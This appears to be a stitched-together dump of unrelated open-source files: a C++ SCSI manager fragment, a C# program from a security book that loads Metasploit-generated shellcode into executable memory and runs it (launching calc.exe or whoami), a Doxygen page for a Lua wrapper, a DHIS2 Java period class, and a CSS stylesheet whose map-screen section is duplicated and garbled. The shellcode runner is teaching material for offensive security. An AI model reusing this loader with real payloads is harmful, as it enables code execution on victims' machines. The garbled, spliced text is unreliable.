rtnIDfromList(phyList,fromEng_P,toEng_P,OPT_TRAVERSE_PHY); break; // Return object IDs from this manager's physical object list // and any sub-manager's physical object lists case MSG_ID_LOGICALS: retVal = rtnIDfromList(logList,fromEng_P,toEng_P,0); break; // Create a new absent object case MSG_ABS_NEW_OBJECT: retVal = createArtificial(fromEng_P,toEng_P); break; default: // Call base class event handler retVal = dptObject_C::handleMessage(message,fromEng_P,toEng_P); break; } // end switch return (retVal); } //dptSCSImgr_C::handleMessage() - end //Function - dptSCSImgr_C::newConfigPhy() - start //=========================================================================== // //Description: // // This function attempts to create a new physical object from //the specified configuration data. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- void dptSCSImgr_C::newConfigPhy(uSHORT objType,dptBuffer_S *toEng_P) { dptObject_C *obj_P = (dptObject_C *) newObject(objType); if (obj_P!=NULL) { obj_P->setInfo(toEng_P,1); enterPhy(obj_P); } } //dptSCSImgr_C::newConfigPhy() - end
bsd-3-clause
brandonprry/gray_hat_csharp_code
ch4_crossplatform_metasploit_payloads/Program.cs
7542
using System; using System.Runtime.InteropServices; namespace ch12_crossplatform_metasploit_payloads { class MainClass { [DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr ptr, IntPtr size, IntPtr type, IntPtr mode); [UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate void WindowsRun(); [DllImport("libc")] static extern IntPtr mprotect(IntPtr ptr, IntPtr length, IntPtr protection); [DllImport("libc")] static extern IntPtr posix_memalign(ref IntPtr ptr, IntPtr alignment, IntPtr size); [DllImport("libc")] static extern void free(IntPtr ptr); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate void LinuxRun(); public static void Main(string[] args) { OperatingSystem os = Environment.OSVersion; bool x86 = (IntPtr.Size == 4); byte[] payload; if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT) { if (!x86) /* * windows/x64/exec - 276 bytes * http://www.metasploit.com * VERBOSE=false, PrependMigrate=false, EXITFUNC=process, * CMD=calc.exe */ payload = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; else /* * windows/exec - 200 bytes * http://www.metasploit.com * VERBOSE=false, PrependMigrate=false, EXITFUNC=process, * CMD=calc.exe */ payload = new byte[] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb9, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40); Marshal.Copy(payload, 0, ptr, payload.Length); WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun)); r(); } else if ((int)os.Platform == 4 || (int)os.Platform == 6 || (int)os.Platform == 128) //linux { if (!x86) /* * linux/x64/exec - 55 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, CMD=/usr/bin/whoami */ payload = new byte[] { 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x10, 0x00, 0x00, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; else /* * linux/x86/exec - 51 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, CMD=/usr/bin/whoami */ payload = new byte[] { 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x10, 0x00, 0x00, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x77, 0x68, 0x6f, 0x61, 0x6d, 0x69, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80 }; IntPtr ptr = IntPtr.Zero; IntPtr success; bool freeMe = false; try { int pagesize = 4096; IntPtr length = (IntPtr)payload.Length; success = posix_memalign(ref ptr, (IntPtr)32, length); if (success != IntPtr.Zero) { Console.WriteLine("Bail! memalign failed: " + success); return; } freeMe = true; IntPtr alignedPtr = (IntPtr)((int)ptr & ~(pagesize - 1)); //get page boundary IntPtr mode = (IntPtr)(0x04 | 0x02 | 0x01); //RWX -- careful of selinux success = mprotect(alignedPtr, (IntPtr)32, mode); if (success != IntPtr.Zero) { int err = Marshal.GetLastWin32Error(); Console.WriteLine("Bail! mprotect failed: " + err); return; } Marshal.Copy(payload, 0, ptr, payload.Length); LinuxRun r = (LinuxRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(LinuxRun)); r(); } finally { if (freeMe) free(ptr); } } } } }
bsd-3-clause
vapourismo/luwra
docs/output/reference/structluwra_1_1Value_3_01const_01char_0fN_0e_4-members.html
3305
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.20"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <title>Luwra: Member List</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td id="projectalign" style="padding-left: 0.5em;"> <div id="projectname">Luwra </div> <div id="projectbrief">Minimal-overhead Lua wrapper for C++</div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.20 --> <script type="text/javascript" src="menudata.js"></script> <script type="text/javascript" src="menu.js"></script> <script type="text/javascript"> /* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&amp;dn=gpl-2.0.txt GPL-v2 */ $(function() { initMenu('',false,false,'search.php','Search'); }); /* @license-end */</script> <div id="main-nav"></div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="namespaceluwra.html">luwra</a></li><li class="navelem"><a class="el" href="structluwra_1_1Value_3_01const_01char_0fN_0e_4.html">Value&lt; const char[N]&gt;</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="headertitle"> <div class="title">luwra::Value&lt; const char[N]&gt; Member List</div> </div> </div><!--header--> <div class="contents"> <p>This is the complete list of members for <a class="el" href="structluwra_1_1Value_3_01const_01char_0fN_0e_4.html">luwra::Value&lt; const char[N]&gt;</a>, including all inherited members.</p> <table class="directory"> <tr class="even"><td class="entry"><a class="el" href="structluwra_1_1Value_3_01const_01char_01_5_01_4.html#a6716cf1eef9b58a273b88150c31556b9">push</a>(State *state, const char *value)</td><td class="entry"><a class="el" href="structluwra_1_1Value_3_01const_01char_01_5_01_4.html">luwra::Value&lt; const char * &gt;</a></td><td class="entry"><span class="mlabel">inline</span><span class="mlabel">static</span></td></tr> <tr><td class="entry"><a class="el" href="structluwra_1_1Value_3_01const_01char_01_5_01_4.html#afcc73a0b1904c7e5fdbeafff087e19ee">read</a>(State *state, int index)</td><td class="entry"><a class="el" href="structluwra_1_1Value_3_01const_01char_01_5_01_4.html">luwra::Value&lt; const char * &gt;</a></td><td class="entry"><span class="mlabel">inline</span><span class="mlabel">static</span></td></tr> </table></div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by&#160;<a href="http://www.doxygen.org/index.html"><img class="footer" src="doxygen.svg" width="104" height="31" alt="doxygen"/></a> 1.8.20 </small></address> </body> </html>
bsd-3-clause
kakada/dhis2
dhis-api/src/main/java/org/hisp/dhis/period/FinancialPeriodType.java
6505
package org.hisp.dhis.period; /* * Copyright (c) 2004-2015, University of Oslo * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * Neither the name of the HISP project nor the names of its contributors may * be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ import com.google.common.collect.Lists; import org.hisp.dhis.calendar.Calendar; import org.hisp.dhis.calendar.DateTimeUnit; import java.util.Date; import java.util.List; /** * @author Lars Helge Overland */ public abstract class FinancialPeriodType extends CalendarPeriodType { /** * Determines if a de-serialized file is compatible with this class. */ private static final long serialVersionUID = 2649990007010207631L; public static final int FREQUENCY_ORDER = 365; // ------------------------------------------------------------------------- // Abstract methods // ------------------------------------------------------------------------- protected abstract int getBaseMonth(); // ------------------------------------------------------------------------- // PeriodType functionality // ------------------------------------------------------------------------- @Override public Period createPeriod( DateTimeUnit dateTimeUnit, Calendar calendar ) { boolean past = dateTimeUnit.getMonth() >= (getBaseMonth() + 1); if ( !past ) { dateTimeUnit = getCalendar().minusYears( dateTimeUnit, 1 ); } dateTimeUnit.setMonth( getBaseMonth() + 1 ); dateTimeUnit.setDay( 1 ); DateTimeUnit start = new DateTimeUnit( dateTimeUnit ); DateTimeUnit end = new DateTimeUnit( dateTimeUnit ); end = getCalendar().plusYears( end, 1 ); end = getCalendar().minusDays( end, 1 ); return toIsoPeriod( start, end, calendar ); } @Override public int getFrequencyOrder() { return FREQUENCY_ORDER; } // ------------------------------------------------------------------------- // CalendarPeriodType functionality // ------------------------------------------------------------------------- @Override public Period getNextPeriod( Period period, Calendar calendar ) { DateTimeUnit dateTimeUnit = createLocalDateUnitInstance( period.getStartDate(), calendar ); dateTimeUnit = calendar.plusYears( dateTimeUnit, 1 ); return createPeriod( dateTimeUnit, calendar ); } @Override public Period getPreviousPeriod( Period period, Calendar calendar ) { DateTimeUnit dateTimeUnit = createLocalDateUnitInstance( period.getStartDate(), calendar ); dateTimeUnit = calendar.minusYears( dateTimeUnit, 1 ); return createPeriod( dateTimeUnit, calendar ); } /** * Generates financial yearly periods for the last 5, current and next 5 * financial years. */ @Override public List<Period> generatePeriods( DateTimeUnit dateTimeUnit ) { Calendar cal = getCalendar(); boolean past = dateTimeUnit.getMonth() >= (getBaseMonth() + 1); List<Period> periods = Lists.newArrayList(); dateTimeUnit = cal.minusYears( dateTimeUnit, past ? 5 : 6 ); dateTimeUnit.setMonth( getBaseMonth() + 1 ); dateTimeUnit.setDay( 1 ); Calendar calendar = getCalendar(); for ( int i = 0; i < 11; i++ ) { periods.add( createPeriod( dateTimeUnit, cal ) ); dateTimeUnit = calendar.plusYears( dateTimeUnit, 1 ); } return periods; } /** * Generates the last 5 financial years where the last one is the financial * year which the given date is inside. */ @Override public List<Period> generateRollingPeriods( Date date ) { return generateLast5Years( date ); } @Override public List<Period> generateRollingPeriods( DateTimeUnit dateTimeUnit ) { return generateLast5Years( getCalendar().toIso( dateTimeUnit ).toJdkDate() ); } @Override public List<Period> generateLast5Years( Date date ) { Calendar cal = getCalendar(); DateTimeUnit dateTimeUnit = createLocalDateUnitInstance( date, cal ); boolean past = dateTimeUnit.getMonth() >= (getBaseMonth() + 1); List<Period> periods = Lists.newArrayList(); dateTimeUnit = cal.minusYears( dateTimeUnit, past ? 4 : 5 ); dateTimeUnit.setMonth( getBaseMonth() + 1 ); dateTimeUnit.setDay( 1 ); for ( int i = 0; i < 5; i++ ) { periods.add( createPeriod( dateTimeUnit, cal ) ); dateTimeUnit = cal.plusYears( dateTimeUnit, 1 ); } return periods; } @Override public Date getRewindedDate( Date date, Integer rewindedPeriods ) { Calendar cal = getCalendar(); date = date != null ? date : new Date(); rewindedPeriods = rewindedPeriods != null ? rewindedPeriods : 1; DateTimeUnit dateTimeUnit = createLocalDateUnitInstance( date, cal ); dateTimeUnit = cal.minusYears( dateTimeUnit, rewindedPeriods ); return cal.toIso( dateTimeUnit ).toJdkDate(); } }
bsd-3-clause
TfEL/LearningDesign
css/master.css
13812
@charset "UTF-8"; /* TfEL for Learning Design Stylesheet. © 2013 Aidan Cornelius-Bell. All Rights Reserved. Developed by Beaconsfield IT for the Department of Education and Child Development. NOTES: This stylesheet uses some CSS3 styles and includes a HTML5 reset. To use it you should really be running Chrome or Safari, Firefox should work too, IE as usual is a no go. */ /* Overarching styles, body, a, etc */ body { background: #CCCCCC; margin: 0px 0px; border: 0px 0px; font-family: "Helvetica Neue Light", "Helvetica Neue", Helvetica, Serif; color: #FFF; font-size: 13pt; overflow: hidden; } strong { font-family: "Helvetica Neue Light", "Helvetica Neue", Helvetica, Serif; font-weight: 800; color: #FFF; font-size: 13pt; } .ui-body-c, .ui-overlay-c { text-shadow:0 0 0; color: !important;} .ui-body-a { text-shadow:0 0 0; color: !important; } a:link { color: #FFF !important; text-decoration: none !important; font-weight: 200 !important;} a:visited { color: #FFF !important; text-decoration: none; } a:hover { color: #F2BA3E !important; text-decoration: none; } a:active { color: #F2BA3E !important; text-decoration: none; } /* Splash Screen Styles */ #splash_screen_master_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/splash_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/splash_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/splash_screen/[email protected]', sizingMethod='scale')"; background-size: cover; } #splash_screen_padding_topmost { padding-top: 550px; } #splash_screen_ld_using_strat_from_the_tfel_fw_guide_dvd { height: 49px; width: 343px; background: url(../images/splash_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/splash_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/splash_screen/[email protected]', sizingMethod='scale')"; background-size: cover; margin-left: 650px; } #splash_screen_padding_mid { padding-top: 10px; } #splash_screen_using_tfel_for_ld_in_a_plc_movie { height: 49px; width: 343px; background: url(../images/splash_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/splash_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/splash_screen/[email protected]', sizingMethod='scale')"; background-size: cover; margin-left: 650px; } /* Map Screen Styles */ #map_screen_master_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map_screen/[email protected]) #CDCDE3; background-size: cover; } #map_screen_padding_topmost { padding-top: 270px; } #map_screen_row_1 { margin-left: 205px; width: 775px; height: 110px; } #map_screen_map_1 { position: absolute; width: 134px; height: 75px; background: url(../images/map_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]) #CDCDE3; background-size: cover; } #map_screen_padding_topmost { padding-top: 270px; } #map_screen_row_1 { margin-left: 205px; width: 775px; height: 110px; } #map_screen_map_1 { position: absolute; width: 134px; height: 75px; background: url(../images/map_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]) #CDCDE3; background-size: cover; } #map_screen_padding_topmost { padding-top: 270px; } #map_screen_row_1 { margin-left: 205px; width: 775px; height: 110px; } #map_screen_map_1 { position: absolute; width: 134px; height: 75px; background: url(../images/map_screen/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_screen_map_3 { position: absolute; margin-left: 315px; width: 134px; height: 75px; background: url(../images/map_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_screen_map_5 { position: absolute; margin-left: 635px; width: 134px; height: 75px; background: url(../images/map_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_screen_padding_mid { padding-top: 35px; } #map_screen_row_2 { margin-left: 205px; width: 736px; height: 103px; } #map_screen_map_2 { position: absolute; width: 134px; height: 75px; background: url(../images/map_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_screen_map_4 { position: absolute; margin-left: 315px; width: 134px; height: 75px; background: url(../images/map_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_screen_map_6 { position: absolute; margin-left: 635px; width: 134px; height: 75px; background: url(../images/map_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_screen_home_button { position: absolute; margin-top: 202px; margin-left: 20px; width: 52px; height: 25px; background: url(../images/map_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale')"; background-size: cover; } /* Map Screen #1 Styles */ #map_1_screen_functions_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map1/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map1/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map1/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_1_screen_master_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map1/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map1/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map1/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_1_screen_container_left { float:left; padding-top: 230px; height: 768px; width: 280px; padding-left: 35px; margin-right: 15px; } #map_1_screen_container_right { /* In this instance nothing is here, this is an empty container */ } #map_1_screen_padding_top { } #map_1_screen_padding_mid { } #map_1_video_container { float:left; padding-top: 180px; } #iframe_container iframe { float:left; height: 768px; width: 690px; overflow: scroll; -webkit-overflow-scrolling: scroll; } iframe { overflow: scroll; -webkit-overflow-scrolling: touch; } #want_more { position: absolute; bottom: 20px; height: 28px; width: 208px; margin-right: auto; margin-left: auto; background: url(../images/map_screen/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map_screen/[email protected]', sizingMethod='scale')"; background-size: cover; } /* Map Screen #2 Styles */ #map_2_screen_functions_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map2/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map2/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map2/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_2_screen_master_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map2/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map2/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map2/[email protected]', sizingMethod='scale')"; background-size: cover; } /* Map Screen #3 Styles */ #map_3_screen_functions_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map3/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map3/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map3/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_3_screen_master_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map3/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map3/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map3/[email protected]', sizingMethod='scale')"; background-size: cover; } /* Map Screen #4 Styles */ #map_4_screen_functions_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map4/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map4/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map4/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_4_screen_master_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map4/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map4/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map4/[email protected]', sizingMethod='scale')"; background-size: cover; } /* Map Screen #5 Styles */ #map_5_screen_functions_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map5/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map5/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map5/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_5_screen_master_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map5/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map5/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map5/[email protected]', sizingMethod='scale')"; background-size: cover; } /* Map Screen #6 Styles */ #map_6_screen_functions_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map6/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map6/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map6/[email protected]', sizingMethod='scale')"; background-size: cover; } #map_6_screen_master_container { height: 768px; width: 1024px; margin-right: auto; margin-left: auto; background: url(../images/map6/[email protected]); filter: progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map6/[email protected]', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader( src='../images/map6/[email protected]', sizingMethod='scale')"; background-size: cover; } /* 